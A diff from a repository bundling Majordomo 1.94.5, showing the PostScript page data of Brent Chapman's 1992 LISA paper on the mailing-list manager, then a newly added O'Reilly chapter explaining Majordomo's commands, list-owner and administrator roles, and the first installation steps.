X(Majordomo)s +360 X +2546 Y +504 X +f.R 10 Z(Majordomo)s +862 X(is)s +951 X(currently)s +1236 X(used)s +1402 X(to)s +1498 X(run)s +1631 X(the)s +1758 X(17)s +360 X +2619 Y(SAGE)s +571 X(mailing)s +813 X(lists)s +959 X(on)s +1062 X(USENIX)s +1306 X(.ORG,)s +1516 X(and)s +1648 X(to)s +1736 X(run)s +360 X +2692 Y(the)s +469 X("Majordomo)s +810 X(-Users")s +1038 X(and)s +1161 X("Majordomo)s +1502 X(-Announce")s +360 X +2765 Y(mailing)s +599 X(lists)s +742 X(at)s +825 X(GreatCircle)s +1138 X(.COM)s +1340 X(\(see)s +1481 X(the)s +1596 X("Availa-)s +360 X +2838 Y(bility")s +577 X(section)s +815 X(for)s +940 X(more)s +1125 X(information)s +1489 X(about)s +1686 X(these)s +360 X +2911 Y(lists\))s +491 X(.)s +555 X(It's)s +669 X(been)s +819 X(in)s +895 X(operation)s +1171 X(on)s +1261 X(USENIX)s +1505 X(.ORG)s +1686 X(since)s +360 X +2984 Y(late)s +481 X(June,)s +643 X(1992)s +775 X(.)s +815 X(In)s +893 X(the)s +998 X(two)s +1122 X(months)s +1342 X(between)s +1589 X(then)s +1728 X(and)s +360 X +3057 Y(the)s +482 X(time)s +642 X(this)s +779 X(paper)s +967 X(was)s +1110 X(written,)s +1356 X(it)s +1433 X(has)s +1561 X(processed)s +360 X +3130 Y(almost)s +572 X(1800)s +737 X(requests,)s +1006 X(all)s +1108 X(without)s +1346 X(encountering)s +1728 X(any)s +360 X +3203 Y(major)s +545 X(bugs)s +699 X(or)s +783 X(problems)s +1059 X(\(though)s +1293 X(a)s +1351 X(number)s +1582 X(of)s +1665 X(minor)s +360 X +3276 Y(bugs)s +512 X(have)s +665 X(been)s +818 X(found)s +1000 X(and)s +1124 X(corrected\))s +1395 X(.)s +1462 X(A)s +1538 X(number)s +1769 X(of)s +360 X +3349 Y(other)s +527 X(sites)s +677 X(requested)s +963 X(and)s +1089 X(received)s +1345 X(beta)s +1457 X(-test)s +1602 X(versions)s +360 X +3422 Y(of)s +437 X(the)s +541 X(program,)s +805 X(but)s +912 X(I)s +956 X(haven't)s +1178 X(heard)s +1349 X(back)s +1498 X(from)s +1650 X(any)s +1769 X(of)s +360 X +3495 Y(them)s +516 X(that)s +639 X(they've)s +861 X(begun)s +1045 X(using)s +1211 X(the)s +1315 X(software)s +1567 X(yet)s +1649 X(.)s +360 X +3589 Y +504 X(While)s +693 X(Majordomo)s +1033 X(is)s +1104 X(similar)s +1317 X(to)s +1395 X(and)s +1517 X(inspired)s +1758 X(by)s +360 X +3662 Y(Listserv,)s +616 X(I)s +660 X(haven't)s +882 X(really)s +1057 X(attempted)s +1344 X(to)s +1418 X(make)s +1585 X(it)s +1645 X(a)s +1697 X(List-)s +360 X +3735 Y(serv)s +505 X(clone)s +650 X(.)s +723 X(I've)s +865 X(chosen)s +1085 X(to)s +1172 X(use)s +1296 X(many)s +1479 X(of)s +1569 X(the)s +1686 X(same)s +360 X +3808 Y(commands)s +683 X(as)s +773 X(Listserv,)s +1040 X(but)s +1158 X(I've)s +1298 X(often)s +1468 X(used)s +1623 X(slightly)s +360 X +3881 Y(different)s +617 X(syntaxes)s +874 X(for)s +978 X(some)s +1146 X(commands;)s +1482 X(for)s +1587 X(instance,)s +360 X +3954 Y(the)s +471 X(Listserv)s +716 X(syntax)s +919 X(for)s +1025 X("subscribe")s +1360 X(is)s +1434 X("subscribe)s +1741 X +stdencoding /NTimes-Italic /Times-Italic RE +/f.I /NTimes-Italic findfont def +f.I 10 Z(list)s +360 X +4027 Y(real_name)s +f.R 10 Z(",)s +714 X(as)s +796 X(opposed)s +1043 X(to)s +1121 X(the)s +1229 X(Majordomo)s +1569 X(syntax)s +1769 X(of)s +360 X +4100 Y("subscribe)s +662 X +f.I 10 Z(list)s +768 X +f.R 10 Z([)s +f.I 10 Z(address)s +f.R 10 Z(]")s +1046 X(.)s +1108 X(This)s +1250 X(may)s +1388 X(not)s +1496 X(have)s +1645 X(been)s +1794 X(a)s +360 X +4173 Y(good)s +528 X(idea;)s +695 X(perhaps)s +938 X(I)s +996 X(should)s +1209 X(have)s +1371 X(either)s +1560 X(made)s +1742 X(the)s +360 X +4246 Y(Majordomo)s +698 X(syntax)s +896 X(identical)s +1152 X(to)s +1228 X(the)s +1333 X(Listserv)s +1572 X(syntax)s +1769 X(or)s +360 X +4319 Y(made)s +542 X(it)s +617 X(completely)s +952 X(different)s +1182 X(.)s +1237 X(The)s +1379 X(copy)s +1546 X(of)s +1639 X(Major-)s +360 X +4392 Y(domo)s +560 X(running)s +815 X(on)s +930 X(USENIX)s +1174 X(.ORG)s +1380 X(uses)s +1544 X(the)s +1674 X(email)s +360 X +4465 Y(address)s +583 X("Listserv",)s +893 X(not)s +1001 X("Majordomo";)s +1411 X(it's)s +1520 X(not)s +1628 X(clear)s +1783 X(if)s +360 X +4538 Y(that)s +483 X(was)s +609 X(a)s +661 X(good)s +815 X(idea,)s +966 X(since)s +1126 X(it's)s +1234 X(not)s +1341 X(really)s +1516 X(Listserv)s +1732 X(.)s +2016 X +448 Y +2555 X +f.B 10 Z(Future)s +2774 X(Work)s +2016 X +557 Y +2160 X +f.R 10 Z(The)s +2293 X(next)s +2437 X(major)s +2622 X(set)s +2726 X(of)s +2811 X(features)s +3053 X(I)s +3105 X(intend)s +3302 X(to)s +3384 X(add)s +2016 X +630 Y(are)s +2123 X(to)s +2200 X(support)s +2424 X(email)s +2599 X(retrieval)s +2848 X(of)s +2928 X(\256les)s +3065 X(through)s +3295 X(Major-)s +2016 X +703 Y(domo)s +2167 X(.)s +2237 X(I)s +2290 X(need)s +2447 X(to)s +2530 X(look)s +2679 X(at)s +2759 X(mechanisms)s +3122 X(and)s +3250 X(syntaxes)s +2016 X +776 Y(for)s +2129 X(making)s +2365 X(\256les)s +2513 X(and)s +2645 X(directories)s +2964 X(readable,)s +3243 X(writable,)s +2016 X +849 Y(and)s +2148 X(searchable)s +2467 X(via)s +2585 X(email)s +2735 X(.)s +2810 X(I)s +2869 X(intend)s +3073 X(to)s +3162 X(support)s +3398 X(the)s +2016 X +922 Y(notion)s +2209 X(of)s +2287 X("open")s +2493 X(and)s +2611 X("closed")s +2858 X(\256le)s +2966 X(directories)s +3271 X(\(similar)s +2016 X +995 Y(to)s +2106 X(the)s +2226 X("open")s +2448 X(and)s +2583 X("closed")s +2847 X(mailing)s +3091 X(lists)s +3239 X(currently)s +2016 X +1068 Y(implemented\);)s +2431 X(only)s +2573 X(authorized)s +2879 X(people)s +3080 X(\(where)s +3288 X(author-)s +2016 X +1141 Y(ization)s +2239 X(might)s +2435 X(be)s +2539 X(determined)s +2881 X(by)s +2988 X(knowledge)s +3321 X(of)s +3417 X(an)s +2016 X +1214 Y(appropriate)s +2349 X(password,)s +2646 X(or)s +2730 X(by)s +2825 X(membership)s +3184 X(on)s +3279 X(a)s +3338 X(mail-)s +2016 X +1287 Y(ing)s +2125 X(list)s +2233 X(associated)s +2534 X(with)s +2678 X(the)s +2785 X(directory\))s +3073 X(will)s +3203 X(be)s +3291 X(able)s +3428 X(to)s +2016 X +1360 Y(retrieve)s +2246 X(\256les)s +2383 X(from)s +2537 X("closed")s +2787 X(directories)s +3070 X(.)s +3134 X(I)s +3181 X(also)s +3313 X(intend)s +2016 X +1433 Y(to)s +2093 X(support)s +2318 X("writable")s +2618 X(and)s +2740 X("read)s +2882 X(-only")s +3075 X(directories)s +3384 X(and)s +2016 X +1506 Y(\256les)s +2128 X(.)s +2234 X(I'm)s +2397 X(going)s +2615 X(to)s +2734 X(consider)s +3027 X(special)s +3281 X(support)s +2016 X +1579 Y(speci\256cly)s +2299 X(for)s +2402 X(mailing)s +2633 X(list)s +2742 X(archives,)s +3009 X(to)s +3088 X(allow)s +3264 X(users)s +3428 X(to)s +2016 X +1652 Y(request)s +2243 X(only)s +2395 X(messages)s +2682 X(matching)s +2964 X(certain)s +3180 X(patterns)s +3425 X(or)s +2016 X +1725 Y(containing)s +2325 X(speci\256ed)s +2590 X(keywords)s +2875 X(from)s +3032 X(a)s +3090 X(given)s +3266 X(archive,)s +2016 X +1798 Y(rather)s +2225 X(than)s +2392 X(forcing)s +2636 X(them)s +2822 X(to)s +2926 X(retrieve)s +3183 X(the)s +3317 X(whole)s +2016 X +1871 Y(archive)s +2235 X(and)s +2353 X(do)s +2441 X(the)s +2545 X(search)s +2738 X(themselves)s +3036 X(.)s +2016 X +1965 Y +2160 X(At)s +2258 X(some)s +2430 X(point,)s +2615 X(I)s +2668 X(\(or)s +2777 X(someone)s +3046 X(else\))s +3205 X(should)s +3414 X(go)s +2016 X +2038 Y(back)s +2216 X(in)s +2342 X(and)s +2512 X(make)s +2731 X(Majordomo)s +3119 X(work)s +3329 X(under)s +2016 X +2111 Y("taintperl",)s +2341 X(so)s +2430 X(that)s +2561 X(the)s +2673 X("wrapper")s +2975 X(program)s +3231 X(won't)s +3417 X(be)s +2016 X +2184 Y(necessary)s +2276 X(.)s +2348 X(I)s +2403 X(\256rmly)s +2599 X(believe)s +2826 X(that)s +2960 X("taintperl")s +3271 X(is)s +3348 X(good)s +2016 X +2257 Y(and)s +2157 X(valuable,)s +2446 X(and)s +2588 X(that)s +2735 X(operating)s +3033 X(under)s +3230 X(it)s +3314 X(would)s +2016 X +2330 Y(improve)s +2279 X(the)s +2402 X(security)s +2654 X(of)s +2749 X(Majordomo;)s +3122 X(I)s +3184 X(just)s +3321 X(didn't)s +2016 X +2403 Y(have)s +2169 X(the)s +2279 X(time)s +2427 X(to)s +2507 X(work)s +2671 X(out)s +2784 X(all)s +2880 X(the)s +2990 X(details)s +3194 X(during)s +3395 X(my)s +2016 X +2476 Y(initial)s +2196 X(implementation)s +2639 X(phase)s +2791 X(.)s +2016 X +2570 Y +2160 X(I'd)s +2268 X(like)s +2400 X(to)s +2483 X(add)s +2610 X(a)s +2671 X(number)s +2906 X(of)s +2993 X(minor)s +3184 X(features)s +3428 X(to)s +2016 X +2643 Y(the)s +2153 X(program,)s +2450 X(including)s +2757 X(suppression)s +3125 X(of)s +3234 X(duplicate)s +2016 X +2716 Y(addresses)s +2303 X(in)s +2386 X(mailing)s +2622 X(lists)s +2762 X(\(but)s +2901 X(is)s +2978 X("joe@foobar)s +3321 X(.com")s +2016 X +2789 Y(the)s +2127 X(same)s +2294 X(as)s +2379 X("joe@workstatio)s +2831 X(n)s +2864 X(.foobar)s +3054 X(.com"?\),)s +3310 X(recog-)s +2016 X +2862 Y(nition)s +2200 X(of)s +2283 X(unambiguous)s +2669 X(command)s +2960 X(abbreviations,)s +3366 X(sup-)s +2016 X +2935 Y(port)s +2159 X(for)s +2272 X(continuation)s +2642 X(lines)s +2805 X(\(some)s +3004 X(mailers)s +3237 X(insist)s +3414 X(on)s +2016 X +3008 Y(auto)s +2131 X(-wrapping)s +2426 X(text)s +2549 X(to)s +2623 X(\256t)s +2701 X(an)s +2786 X(80)s +2852 X(-column)s +3096 X(display;)s +3331 X(while)s +2016 X +3081 Y(this)s +2135 X(is)s +2202 X(often)s +2361 X(preferable)s +2654 X(to)s +2728 X(paragraph)s +2994 X(-long)s +3156 X(lines)s +3305 X(in)s +3379 X(text)s +2016 X +3154 Y(messages,)s +2328 X(it)s +2409 X(wreaks)s +2641 X(havoc)s +2843 X(with)s +3005 X(long)s +3166 X(Majordomo)s +2016 X +3227 Y(commands\),)s +2373 X(support)s +2600 X(for)s +2705 X(a)s +2763 X(command)s +3054 X(indicating)s +3350 X(what)s +2016 X +3300 Y(return)s +2204 X(address)s +2433 X(Majordomo)s +2776 X(should)s +2982 X(use)s +3100 X(for)s +3207 X(its)s +3301 X(replies)s +2016 X +3373 Y(\(for)s +2158 X(use)s +2290 X(by)s +2399 X(folks)s +2575 X(whose)s +2787 X(mailers)s +3027 X(generate)s +3296 X(broken)s +2016 X +3446 Y(reply)s +2181 X(addresses)s +2465 X(in)s +2545 X(the)s +2655 X(headers;)s +2906 X(this)s +3032 X(might,)s +3234 X(however,)s +2016 X +3519 Y(have)s +2183 X(security)s +2436 X(implications)s +2809 X(that)s +2951 X(would)s +3158 X(need)s +3325 X(to)s +3417 X(be)s +2016 X +3592 Y(carefully)s +2284 X(considered\),)s +2643 X(and)s +2770 X(support)s +3000 X(for)s +3108 X(commands)s +3428 X(in)s +2016 X +3665 Y(the)s +2127 X("Subject:")s +2430 X(line)s +2560 X(of)s +2644 X(the)s +2755 X(message)s +2982 X(.)s +3050 X(I)s +3101 X(might)s +3285 X(look)s +3431 X(at)s +2016 X +3738 Y(making)s +2238 X(Majordomo)s +2574 X(more)s +2733 X(Listserv)s +2949 X(-compatible)s +3269 X(.)s +2016 X +3865 Y +2581 X +f.B 10 Z(Availability)s +2016 X +3974 Y +2160 X +f.R 10 Z(The)s +2299 X(package)s +2553 X(is)s +2633 X(available)s +2911 X(for)s +3023 X(anonymous)s +3365 X(FTP)s +2016 X +4047 Y(on)s +2183 X(machine)s +2511 X(FTP)s +2626 X(.GreatCircle)s +2956 X(.COM,)s +3242 X(in)s +3394 X(\256le)s +2016 X +4120 Y("pub/majordomo)s +2468 X(.tar)s +2556 X(.Z")s +2641 X(.)s +2756 X(If)s +2876 X(you)s +3051 X(do)s +3193 X(not)s +3354 X(have)s +2016 X +4193 Y(anonymous)s +2358 X(FTP)s +2508 X(access,)s +2732 X(contact)s +2961 X(me)s +3078 X(\(contact)s +3329 X(infor-)s +2016 X +4266 Y(mation)s +2257 X(is)s +2357 X(in)s +2464 X(the)s +2601 X("Author)s +2872 X(Information")s +3273 X(section,)s +2016 X +4339 Y(below\),)s +2243 X(and)s +2364 X(I'll)s +2471 X(try)s +2570 X(to)s +2647 X(get)s +2754 X(a)s +2809 X(copy)s +2962 X(to)s +3038 X(you)s +3161 X(by)s +3251 X(email)s +3425 X(or)s +2016 X +4412 Y(some)s +2179 X(other)s +2338 X(means)s +2509 X(.)s +2016 X +4506 Y +2160 X(If)s +2237 X(you)s +2369 X(install)s +2567 X(Majordomo,)s +2931 X(please)s +3132 X(add)s +3262 X(yourself)s +2016 X +4579 Y(to)s +2245 X(the)s +2504 X(mailing)s +2885 X(list)s +3144 X(Majordomo)s +3458 X(-)s +2016 X +4652 Y(Users@GreatCir)s +2463 X(cle)s +2542 X(.COM,)s +2768 X(which)s +2972 X(is)s +3058 X(for)s +3176 X(discussions)s +2016 X +4725 Y(concerning)s +2337 X(use)s +2451 X(of,)s +2548 X(problems)s +2821 X(with,)s +2981 X(and)s +3101 X(enhancements)s +360 X +4967 Y +f.B 10 Z(142)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Page: 143 9 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +600 X +215 Y(Chapman)s +2339 X(Majordomo:)s +2723 X(How)s +2878 X(I)s +2926 X(Manage)s +3177 X(17)s +3265 X(Mailing)s +3510 X(Lists)s +3669 X(.)s +3686 X(.)s +3703 X(.)s +600 X +448 Y +stdencoding /NTimes-Roman /Times-Roman RE +/f.R /NTimes-Roman findfont def +f.R 10 Z(for)s +704 X(Majordomo)s +1018 X(.)s +1085 X(Announcements)s +1546 X(of)s +1629 X(new)s +1768 X(releases)s +2009 X(of)s +600 X +521 Y(Majordomo)s +1012 X(will)s +1214 X(be)s +1374 X(sent)s +1579 X(to)s +1728 X(Majordomo)s +2042 X(-)s +600 X +594 Y(Announce@Great)s +1083 X(Circle)s +1247 X(.COM)s +1415 X(.)s +1476 X(You)s +1612 X(can)s +1727 X(add)s +1846 X(yourself)s +600 X +667 Y(to)s +679 X(either)s +859 X(or)s +941 X(both)s +1086 X(lists)s +1222 X(by)s +1315 X(sending)s +1549 X(appropriate)s +1879 X(Major-)s +600 X +740 Y(domo)s +814 X(commands)s +1166 X(to)s +1281 X(the)s +1427 X(electronic)s +1756 X(mail)s +1940 X(alias)s +600 X +813 Y(Majordomo@Grea)s +1105 X(tCircle)s +1288 X(.COM)s +1456 X(.)s +600 X +940 Y +1043 X +f.B 10 Z(Author)s +1272 X(Information)s +600 X +1049 Y +744 X +f.R 10 Z(Brent)s +915 X(Chapman)s +1193 X(is)s +1261 X(a)s +1315 X(consultant)s +1614 X(in)s +1690 X(the)s +1796 X(San)s +1920 X(Fran-)s +600 X +1122 Y(cisco)s +779 X(Bay)s +927 X(Area,)s +1115 X(specializing)s +1477 X(in)s +1570 X(the)s +1692 X(con\256guration,)s +600 X +1195 Y(operation,)s +897 X(and)s +1021 X(networking)s +1353 X(of)s +1437 X(UNIX)s +1632 X(systems)s +1844 X(.)s +1912 X(He)s +2019 X(is)s +600 X +1268 Y(also)s +745 X(currently)s +1023 X(Postmaster)s +1354 X(for)s +1468 X(SAGE)s +1679 X(\(the)s +1820 X(USENIX)s +600 X +1341 Y(Special)s +868 X(Technical)s +1203 X(Group)s +1442 X(focusing)s +1741 X(on)s +1878 X(system)s +600 X +1414 Y(administration)s +1011 X(issues\))s +1193 X(.)s +1256 X(During)s +1468 X(the)s +1574 X(last)s +1692 X(several)s +1906 X(years,)s +600 X +1487 Y(he)s +697 X(has)s +820 X(been)s +980 X(an)s +1078 X(operations)s +1391 X(manager)s +1656 X(for)s +1768 X(a)s +1833 X(\256nancial)s +600 X +1560 Y(services)s +883 X(company,)s +1211 X(a)s +1307 X(world)s +1462 X(-renowned)s +1812 X(corporate)s +600 X +1633 Y(research)s +848 X(lab,)s +972 X(a)s +1028 X(software)s +1284 X(engineering)s +1625 X(company,)s +1912 X(and)s +2034 X(a)s +600 X +1706 Y(hardware)s +922 X(engineering)s +1310 X(company)s +1554 X(.)s +1666 X(He)s +1817 X(holds)s +2034 X(a)s +600 X +1779 Y(Bachelor)s +865 X(of)s +944 X(Science)s +1177 X(degree)s +1379 X(in)s +1455 X(Electrical)s +1738 X(Engineering)s +600 X +1852 Y(and)s +727 X(Computer)s +1023 X(Science)s +1262 X(from)s +1421 X(the)s +1533 X(University)s +1845 X(of)s +1930 X(Cali-)s +600 X +1925 Y(fornia,)s +802 X(Berkeley)s +1043 X(.)s +1108 X(He)s +1212 X(can)s +1332 X(be)s +1422 X(contacted)s +1706 X(by)s +1799 X(electronic)s +600 X +1998 Y(mail)s +760 X(to)s +852 X(Brent@GreatCirc)s +1325 X(le)s +1374 X(.COM,)s +1599 X(by)s +1704 X(phone)s +1905 X(at)s +1993 X(+1)s +600 X +2071 Y(415)s +729 X(962)s +858 X(0841,)s +1037 X(by)s +1133 X(FAX)s +1296 X(at)s +1375 X(+1)s +1476 X(415)s +1605 X(962)s +1734 X(0842,)s +1913 X(or)s +1998 X(by)s +600 X +2144 Y(U)s +648 X(.S)s +702 X(.)s +759 X(Mail)s +926 X(to)s +1018 X(Great)s +1207 X(Circle)s +1411 X(Associates,)s +1755 X(1057)s +1926 X(West)s +600 X +2217 Y(Dana)s +763 X(St)s +819 X(.,)s +875 X(Mountain)s +1156 X(View,)s +1340 X(CA)s +1454 X(94041)s +1619 X(.)s +600 X +4967 Y +f.B 10 Z(1992)s +754 X(LISA)s +931 X(VI)s +1027 X(\261)s +1082 X(October)s +1338 X(19)s +1404 X(-23,)s +1531 X(1992)s +1685 X(\261)s +1740 X(Long)s +1909 X(Beach,)s +2122 X(CA)s +3621 X(143)s +5280 Y +pagebot + +%%Page: 144 10 +pagetop +stdencoding /NTimes-Bold /Times-Bold RE +/f.B /NTimes-Bold findfont def +f.B 10 Z +360 X +4967 Y(144)s +1862 X(1992)s +2016 X(LISA)s +2193 X(VI)s +2289 X(\261)s +2344 X(October)s +2600 X(19)s +2666 X(-23,)s +2793 X(1992)s +2947 X(\261)s +3002 X(Long)s +3171 X(Beach,)s +3384 X(CA)s +5280 Y +pagebot + +%%Trailer +lastpage diff --git a/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora new file mode 100644 index 0000000..047e8ef --- /dev/null +++ b/update/scripts/packages/majordomo-1.94.5/Doc/majordomo.ora @@ -0,0 +1,1718 @@ +This file is the chapter about Majordomo from the Nutshell Handbook +"Managing Internet Information Services," written by Jerry Peek. +The chapter is (c) Copyright 1994 by O'Reilly & Associates, Inc., +and was included in the Majordomo distribution by permission of the +publisher. You may not edit, adapt, or redistribute changed versions +of this for other than your personal use without the express written +permission of O'Reilly & Associates. Sorry for the legal jargon; +we said that to protect our copyright! + +This draft chapter is current as of March 15, 1994 but might not be +kept up to date with the software. The book version may also become +different over time. + +In a few places, this chapter refers to previous chapters of the book. +If you want to see those chapters, too, you'll have to buy the book ;-) +(or borrow it). + +If you have comments or corrections, please send email to +bookquestions@ora.com, phone +1-707-829-0515, or send snail mail to +O'Reilly & Associates; 103A Morris Street; Sebastopol, CA 95472 USA. + + + +Majordomo is a set of programs written in Perl that automate operation +of multiple mailing lists. Majordomo automatically handles routine +requests to subscribe or unsubscribe; it also has "closed lists" that +route all subscription requests to a "list owner" for approval. It +also supports "moderated lists" that send all messages to the list +owner for approval before they're sent to subscribers. Once the list +is set up, it can be controlled by electronic mail, so the list owner +need not be on the machine where Majordomo is running. It can also +maintain simple archives and deliver them via e-mail. + +Although you don't need to know Perl to run Majordomo, the Perl +interpreter must be installed on the computer where you run Majordomo. +Perl's source code is freely available from archives around the +Internet, such as ftp.uu.net. You can also get ready-to-run versions +from the CD-ROM that comes with the book "UNIX Power Tools." (For more +information about Perl, see the Nutshell Handbooks "Learning Perl" by +Randal Schwartz and "Programming Perl" by Larry Wall and Randal +Schwartz.) + +Majordomo's developer and maintainer, Brent Chapman, developed +Majordomo for his own purposes (managing the mailing lists for SAGE, +the System Administrators Guild). He didn't try to make the software +do everything a list server could possibly do. Majordomo is popular +anyway; it's good software that fills a real need. This chapter covers +Majordomo version 1.62, which is available free via ftp. + +One of Majordomo's real strengths is its relative simplicity. You can +figure it out in a few hours. ListProcessor, another major mailing +list management system, requires much longer--so much so that we +couldn't cover it effectively in a book of this size. We've left it +for another book. But if you intend to manage huge lists, +ListProcessor provides lots of useful features that can make it well +worth the effort. We use ListProcessor for our company mailing lists. +Chapter 1 has a short comparison of Majordomo and ListProcessor. + +A good way to learn more about Majordomo is by subscribing to the +majordomo-users mailing list. Send a subscription request to +majordomo@greatcircle.com--see "A User's View of Majordomo", below, +for instructions. (Another list on the same host, majordomo-announce, +announces new versions of Majordomo as well as bug fixes. The +majordomo-workers list is for people who develop Majordomo.) + +The first section of this chapter gives an overview of Majordomo as it +is seen by users, list owners, and administrators; it also mentions a +planned new release, Majordomo 2.0. Then comes installation, creation +of lists, and testing. Finally there's a description of how to run and +maintain a list. + + +AN OVERVIEW OF MAJORDOMO + +Before we dip into the intricacies of setting up and running Majordomo +mailing lists, it will be helpful to get an overview of how it works +from the user's perspective, how the list owner manages a list, and how +the various programs that make up the Majordomo package work together. + + +A User's View of Majordomo + +First here's a user's guide to the Majordomo package. (Actually, this +is an introduction to majordomo, the program which provides all of +these functions.) It explains subscription, unsubscription, and all +the other Majordomo commands available to users. It also includes some +notes for the person running the list about who has permission to use +some commands. (The section "List Server Software" in Chapter 1 shows +how users interact with a list server.) + +A user can subscribe to a list, or ask about his or other users' +subscriptions, by sending mail to the majordomo server, usually +majordomo@hostname. Put the commands in the body of the mail message +(not on the "Subject:" header component). Other than white space, the +commands must be the first text in the message body; in other words, +don't begin with "Dear Majordomo." + +In the sections below, items in brackets ([]) are optional. If you +include the optional item, don't type the brackets. + +- help + + Sends one-line summaries of majordomo commands. The first line of + output tells you which version of Majordomo the server is running. + +- info list + + Sends an introduction to the list "list". + +- lists + + Shows the lists served by this majordomo server. + +- subscribe list [address] + + This command subscribes a user to the named "list". Unless the user + includes the optional "address", Majordomo will use the e-mail + address in the mail message header ("Reply-to:", if any, otherwise + "From:") to send mail to the user. + +- unsubscribe list [address] + + This unsubscribes the user (or "address") from "list". + +- which [address] + + Tells the lists to which the user (or "address") is subscribed. + +- who list + + Lists the subscribers of "list". + +- index list + + Gives a listing of files in the "list" archive. If the list is + private, only members can run this command. Only for Majordomo + versions 1.54 and later. + +- get list filename + + Mails a file named "filename" from the "list" archive. If the list + is private, only members can run this command. Only for Majordomo + versions 1.54 and later. + +- end + + Stops reading the message. This is useful for users whose mailer + adds text (like a signature) to the end of a message. + + A line that starts with a dash (-) is also treated as an "end" + command by newer versions of Majordomo. Because many peoples' mail + message signatures start with some dashes, this avoids error + messages. + + +Majordomo for List Owners + +The list owner is the person (or persons) who will run day-to-day +operations of a mailing list by responding to mail messages from +Majordomo. Each mailing list operated by Majordomo can have its own +list owners. + +Majordomo has "open" and "closed" lists. A subscriber to an open list +will be approved automatically unless they specify an "address" +different from the one in their e-mail header. All subscriptions to +closed lists will be sent to the list owner for approval. + +If you'd like a list with the absolute minimum of maintenance (but also +a minimum of security), you could create an "auto" list. All +subscription or unsubscription requests will be honored without any +input from the list owner. For example, anyone could unsubscribe +anyone else. + +Majordomo also has "public" and "private" lists. In a public list, +subscribers have access to information about other subscribers through +the "who" and "which" commands; in a private list, they don't. When a +list is private, only subscribers can use the archive commands "index" +and "get". + +The owner can potentially receive four types of messages: requests to +approve subscriptions (or unsubscriptions), requests to approve +messages to the list, notifications of successful subscriptions or +unsubscriptions, and bounces (messages sent to the list that weren't +delivered). Which of these the owner receives, and how many, depends +on the setup of the list (and of course, how many members the list +has). Majordomo provides the "approve" script to help handle approval +of subscriptions and messages, and "bounce" to help handle bounces. + + +Majordomo for Administrators + +The administrator in this context is the person who installs Majordomo, +creates new lists, or changes the settings (moderated or not, private +or public, etc.) of existing lists. Unlike a list owner, the +administrator needs to have direct access to the system where Majordomo +is running. In many cases, the list owner and the administrator are +the same person, but they don't need to be. + +Majordomo is actually a suite of Perl scripts, not just one. In this +chapter, the name Majordomo (with an uppercase "M") refers to the whole +package of programs and files. majordomo (with a lowercase "m") means +the individual program with that name. Here is an outline of what each +program and file in the Majordomo package does: + +- "majordomo" (the program itself) is run each time a message arrives + for the address majordomo@hostname. It figures out what approval is + necessary and sends mail to the list owner as necessary, or simply + performs the requested commands. Unlike a lot of system services, + majordomo doesn't run constantly (as a daemon). It's started by your + system MTA when a message comes in. The disadvantage is that you + don't have much control over Majordomo on a busy system. The + advantage is that there's no daemon process to crash. + +- "resend" - When a message arrives to appear on a list, "resend" + checks the message according to its command line options. If the + message must be approved or if there are other problems, the message + is forwarded to the list owner. Otherwise, "resend" edits the + header, then hands the single message to the computer's MTA for + distribution to the list. "resend" rewrites headers of messages but + uses the system's mail transfer agent (MTA) for mail delivery to the + lists. + +- The "wrapper" program allows other Majordomo programs to run as a + "trusted user"--so programs can set the correct envelope sender + address. It's the only part of the Majordomo package that's written + in the C language. (The rest is in Perl.) + +- The "bounce" script helps owners handle subscribers whose mail is + bouncing. The "bounce-remind" script tries to notify those + subscribers about the problem. + +- The "approve" script is also for owners. It simplifies approval of + subscriptions or moderated messages. + +- "new-list" answers mail sent to a new list. Its replies ask people + to wait to send messages until the list owner opens the list for + business. + +- "request-answer" answers mail to the address "listname-request" + (see Chapter 2). The replies tell people to mail to majordomo--and + how to find out more about the server. + +- "majordomo.cf" sets the configuration of the Majordomo system. + +You can control whether a list is open, public, moderated, and several +other aspects of a list by creating files of the form +"listname.option". For example, to make a closed list, you simply +create an empty file called "listname.closed". (This will change in +Majordomo 1.90; you'll use an overall configuration file for each list +instead.) + +The owner is notified of all successful "subscribe" and "unsubscribe" +actions. If you don't want the owner to be notified, you can edit two +subroutines in the majordomo script: "welcome" sends subscription +notices; "do_unsubscribe" sends unsubscription notices. + + +Majordomo 2.0 is Coming + +Since late 1993, people have been working on major revisions to +Majordomo. A new version, 1.90, should be ready by the time this book +is printed. Version 1.90 has a new config file format and includes the +"digest" program as part of Majordomo. A list of the planned changes +for list owners is in the section called "Majordomo Commands for List +Owners". + +Majordomo 2.0 isn't cast in stone yet. Besides the changes in version +1.90, above, some of the major changes in version 2.0 will probably +be: + +- The local site can define new Majordomo commands and add to existing + commands. For instance, a site could change the "unsubscribe" + command to let users subscribe from all lists by sending + "unsubscribe *". + +- Replies can be edited automatically. For instance, large replies + could be split into a series of smaller messages. + +- The "help" command will take arguments. Instead of getting help for + all commands, a user could get help for just the "subscribe" command + by sending "help subscribe". + + + +INSTALLING MAJORDOMO + +In general, if you have a recent version of Perl on your UNIX system, +majordomo should work too. You'll need to set up the "majordomo.cf" +file, and maybe tweak a couple of the scripts. You'll also need a C +compiler for the "wrapper" program (although you can work around that +by copying a compiled version of "wrapper" from someone else who has +the same computer and operating system). But because the system is so +simple and the code is so straightforward, it isn't hard to solve +problems (especially if you've joined the majordomo-users mailing +list). + +In the directions below, a name like $whoami is a Perl variable. Most +variables I cover are defined in the "majordomo.cf" file (see below). + +**NOTE** Although I show a step-by-step procedure here, I can't promise +you that the following steps are exactly what you need for your +computer. Your system might be different. You may have a different +version of Majordomo than the one I installed. Please use these steps +as a GUIDE only. + +Here are the steps: + +1. Be sure that your system has Perl version 4.035 (or later) and its + libraries. + +2. Some sites give majordomo another name ("listmgr", "lists", etc.). + I don't recommend doing that unless you have a good reason: + especially as more documentation about Majordomo becomes available, + users may just get confused by giving the system other names. + Also, after Majordomo upgrades, you'll have to patch the system + again. + + If you decide to change the name, edit all of the code references + to majordomo that are visible to users. For example, change the + subject of mail messages that say "Majordomo results." You don't + need to change filenames like "majordomo.cf". You definitely + shouldn't change the help file line that says "This is the + Majordomo listmanager written by Brent Chapman." + +3. Pick a username, group name, and home directory for Majordomo. + A good name for both user and group is "majordom" (but not + 